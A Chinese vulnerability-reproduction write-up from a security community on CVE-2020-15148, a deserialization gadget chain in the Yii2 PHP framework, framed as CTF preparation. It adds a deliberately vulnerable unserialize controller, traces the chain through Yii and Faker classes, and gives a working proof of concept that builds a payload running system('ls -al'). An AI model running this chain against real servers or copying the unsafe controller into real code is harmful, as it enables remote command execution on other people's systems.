CVE-2020-15148 Yii2框架反序列化漏洞
文章源自【字节脉搏社区】-字节脉搏实验室
作者-purplet
扫描下方二维码进入社区:
一、漏洞简介
如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。
该漏洞只是php 反序列化的执行链,必须要配合unserialize
函数才可以达到任意代码执行的危害。
二、漏洞影响
Yii2 <2.0.38
三、复现过程
目前该框架版本已经到2.0.42了,而复现该漏洞是因为最近的CTF比赛中已经出现了好几次该框架漏洞的改造题目了,所以我觉得有必要好好对该漏洞进行一个认真的审计复现。
首先从github上下载漏洞源码:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz
解压到Web目录,然后修改一下配置文件。
/config/web.php:
给cookieValidationKey字段设置一个值”test”
接着添加一个存在漏洞的Action
/controllers/TestController.php:
<?php
namespace app\controllers;
use Yii;
use yii\web\Controleer;
class TestController extends Controller
{
public function actionTest(){
$name = Yii:$app->request->get('unserialize');
return unserialize(base64_decode($name));
}
}
?>
之前2021年红帽杯的这道题是直接在/controllers/SiteController.php里修改了actionAbout方法里修改为如下所示,其实本质上与原漏洞是相同的
public function actionAbout($message = 'Hello')
{
$data = base64_decode($message);
unserialize($data);
}
反序列化起点
/vendor/yiisoft/yii2/db/BatchQueryResult.php:
<?php
namespace yii\db;
class BatchQueryResult{
/**
......
*/
public function __destruct()
{
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
/**
......
*/
}
?>
可以看到__destruct()调用了reset()方法
reset()方法中,$this->_dataReader是可控的,所以此处可以当做跳板,去执行其他类中的__call()方法。
__call() //当调用对象中不存在的方法时触发
然后找到一个Faker\Generator类
/vendor/fzaninotto/faker/src/Faker/Generator.php:
<?php
namespace Faker;
class Generator{
/**
......
*/
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
/**
......
*/
}
?>
可以看到,此处的__call()方法调用了format(),且format()从$this->getFormatter($formatter)里面取出对应的值后,带入了call_user_func_array()函数中。
由于$this->formatter是我们可控的,所以我们这里可以调用任意类中的任意方法了。
但是$arguments是从yii\db\BatchQueryResult::reset()里传过来的,我们不可控,所以我们只能不带参数地去调用别的类中的方法。
到了这一步只需要找到一个执行类即可。
我们可以使用Seay源代码审计的正则全局搜索call_user_func\(\$this->([a-zA-Z0-9]+),
\$this->([a-zA-Z0-9]+),得到使用了call_user_func函数,且参数为类中成员变量的所有方法。
查看后发现yii\rest\CreateAction::run()和yii\rest\IndexAction::run()这两个方法比较合适。
这里拿yii\rest\CreateAction::run()举例
/vendor/yiisoft/yii2/rest/CreateAction.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
<?php
namespace yii\rest;
class CreateAction{
/**
......
*/
public function run()
{
if ( $this ->checkAccess) {
call_user_func( $this ->checkAccess, $this ->id);
}
/* @var $model \yii\db\ActiveRecord */
$model = new $this ->modelClass([
'scenario' => $this ->scenario,
]);
$model ->load(Yii:: $app ->getRequest()->getBodyParams(), '' );
if ( $model ->save()) {
$response = Yii:: $app ->getResponse();
$response ->setStatusCode(201);
$id = implode( ',' , array_values ( $model ->getPrimaryKey(true)));
$response ->getHeaders()->set( 'Location' , Url::toRoute([ $this ->viewAction, 'id' => $id ], true));
} elseif (! $model ->hasErrors()) {
throw new ServerErrorHttpException( 'Failed to create the object for unknown reason.' );
}
return $model ;
}
/**
......
*/
}
?>
|
$this->checkAccess和$this->id都是我们可控的。所以整个利用链就出来了。
yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()
构造POC如下:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
参考连接
https://xz.aliyun.com/t/8307
通知!
公众号招募文章投稿小伙伴啦!只要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~
记得扫码
关注我们